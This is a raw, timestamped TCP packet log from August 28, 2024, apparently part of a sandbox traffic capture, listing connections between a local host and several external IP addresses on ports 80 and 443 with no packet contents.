Aug 28, 2024 22:55:15.712260962 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712268114 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712277889 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712285042 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712306023 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712327003 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712516069 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712560892 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712579012 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712589025 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712618113 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712634087 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712651014 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712661982 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712672949 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712676048 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712682962 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712691069 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712698936 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712702990 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712714911 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712718964 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712727070 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712737083 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712739944 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712762117 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712769032 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712780952 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712935925 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712948084 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712960005 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712971926 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.712975025 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.712991953 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713001966 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713061094 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713072062 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713084936 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713098049 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713100910 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713109970 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713110924 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713128090 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713133097 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713154078 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713162899 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713208914 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713222980 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713233948 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713247061 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713255882 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713258028 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713264942 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713270903 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713279009 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713283062 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713295937 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713308096 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713308096 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713311911 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713325977 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713336945 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713337898 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713350058 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713350058 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713362932 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713368893 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713373899 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713391066 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713398933 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713419914 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.713944912 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713999033 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.713999987 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714015961 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714036942 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714051008 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714060068 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714062929 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714075089 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714086056 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714092016 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714111090 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714131117 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714159012 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714173079 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714184999 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714196920 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714211941 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714215040 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714226961 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714232922 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714242935 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714255095 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714270115 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714282990 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714289904 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714301109 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714304924 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714313030 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714324951 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714334011 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714339018 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714344978 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714351892 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714368105 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714370012 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714376926 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714379072 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714397907 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714421988 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714916945 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714927912 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714941025 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.714957952 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.714977026 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.715037107 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715048075 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715059042 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715070009 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715075970 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.715081930 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715094090 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715097904 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.715106010 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715118885 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.715125084 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715137005 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.715137005 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715147972 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715154886 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.715162992 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715173960 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715178967 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.715188980 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715200901 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.715203047 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.715219975 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.715233088 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.715254068 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805341005 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805372000 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805382967 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805398941 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805413008 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805425882 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805428982 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805428982 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805444956 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805464983 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805531025 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805543900 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805555105 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805566072 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805574894 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805588961 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805592060 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805599928 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805608034 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805613041 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805622101 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805629015 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805635929 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805639029 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805641890 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805660009 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805679083 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805701971 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805713892 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805720091 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805726051 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805732012 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805766106 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805845022 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805850029 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805855036 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805860996 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805864096 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805871010 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805874109 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805890083 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805896044 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805902958 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805915117 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805937052 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805939913 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805952072 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805963993 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.805975914 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.805990934 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806013107 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806082010 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806088924 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806101084 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806113958 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806119919 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806126118 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806134939 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806155920 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806164026 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806175947 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806188107 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806207895 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806221962 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806246996 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806258917 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806271076 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806283951 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806284904 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806302071 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806317091 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806322098 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806329966 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806340933 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806351900 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806368113 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806368113 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806396008 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806463957 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806474924 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806488991 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806502104 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806514978 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806533098 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806610107 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806622028 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806633949 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806642056 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806647062 CEST	80	49710	147.45.44.104	192.168.2.7
Aug 28, 2024 22:55:15.806660891 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.806677103 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:15.940958977 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:15.941004038 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:15.941066027 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:15.947398901 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:15.947415113 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:15.965085983 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:15.969883919 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:16.370594025 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:16.370707035 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:16.488255978 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.488328934 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.492548943 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.492571115 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.492822886 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.534946918 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.561353922 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.561391115 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.561494112 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.660845995 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.660892010 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.660926104 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.660949945 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.660968065 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.661014080 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.661020994 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.661045074 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.661084890 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.689166069 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.689187050 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.689202070 CEST	49712	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.689208984 CEST	443	49712	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.839567900 CEST	49715	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.839577913 CEST	443	49715	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:16.839643002 CEST	49715	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.840502024 CEST	49715	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:16.840511084 CEST	443	49715	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:17.329144955 CEST	443	49715	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:17.329278946 CEST	49715	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:17.335206032 CEST	49715	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:17.335213900 CEST	443	49715	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:17.335458994 CEST	443	49715	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:17.337291002 CEST	49715	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:17.337291002 CEST	49715	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:17.337356091 CEST	443	49715	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:17.776670933 CEST	443	49715	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:17.776762962 CEST	443	49715	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:17.777009964 CEST	49715	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:17.777172089 CEST	49715	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:17.777172089 CEST	49715	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:55:17.777185917 CEST	443	49715	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:17.777220964 CEST	443	49715	172.67.146.35	192.168.2.7
Aug 28, 2024 22:55:20.938541889 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:20.940310955 CEST	49710	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:55:46.339518070 CEST	49730	443	192.168.2.7	149.154.167.99
Aug 28, 2024 22:55:46.339549065 CEST	443	49730	149.154.167.99	192.168.2.7
Aug 28, 2024 22:55:46.339627028 CEST	49730	443	192.168.2.7	149.154.167.99
Aug 28, 2024 22:55:46.343760967 CEST	49730	443	192.168.2.7	149.154.167.99
Aug 28, 2024 22:55:46.343775034 CEST	443	49730	149.154.167.99	192.168.2.7
Aug 28, 2024 22:55:46.959048033 CEST	443	49730	149.154.167.99	192.168.2.7
Aug 28, 2024 22:55:46.959136009 CEST	49730	443	192.168.2.7	149.154.167.99
Aug 28, 2024 22:55:47.029978037 CEST	49730	443	192.168.2.7	149.154.167.99
Aug 28, 2024 22:55:47.029995918 CEST	443	49730	149.154.167.99	192.168.2.7
Aug 28, 2024 22:55:47.030337095 CEST	443	49730	149.154.167.99	192.168.2.7
Aug 28, 2024 22:55:47.030405998 CEST	49730	443	192.168.2.7	149.154.167.99
Aug 28, 2024 22:55:47.036886930 CEST	49730	443	192.168.2.7	149.154.167.99
Aug 28, 2024 22:55:47.084503889 CEST	443	49730	149.154.167.99	192.168.2.7
Aug 28, 2024 22:55:47.217998981 CEST	443	49730	149.154.167.99	192.168.2.7
Aug 28, 2024 22:55:47.218024969 CEST	443	49730	149.154.167.99	192.168.2.7
Aug 28, 2024 22:55:47.218069077 CEST	443	49730	149.154.167.99	192.168.2.7
Aug 28, 2024 22:55:47.218092918 CEST	443	49730	149.154.167.99	192.168.2.7
Aug 28, 2024 22:55:47.218122005 CEST	49730	443	192.168.2.7	149.154.167.99
Aug 28, 2024 22:55:47.218184948 CEST	49730	443	192.168.2.7	149.154.167.99
Aug 28, 2024 22:55:47.227797031 CEST	49730	443	192.168.2.7	149.154.167.99
Aug 28, 2024 22:55:47.227822065 CEST	443	49730	149.154.167.99	192.168.2.7
Aug 28, 2024 22:55:47.231132030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:47.236049891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:47.236149073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:47.236274958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:47.241229057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:48.183094025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:48.183172941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:48.189393044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:48.194185972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:48.756129026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:48.756220102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:48.757371902 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:48.762202024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:49.331520081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:49.331537008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:49.331748009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:49.418279886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:49.418534040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:49.419836998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:49.424768925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:49.958664894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:49.958682060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:49.958693027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:49.958786011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:49.964989901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:49.965003967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:49.965013981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:49.965066910 CEST	49731	80	192.168.2.7	147.45.68.138
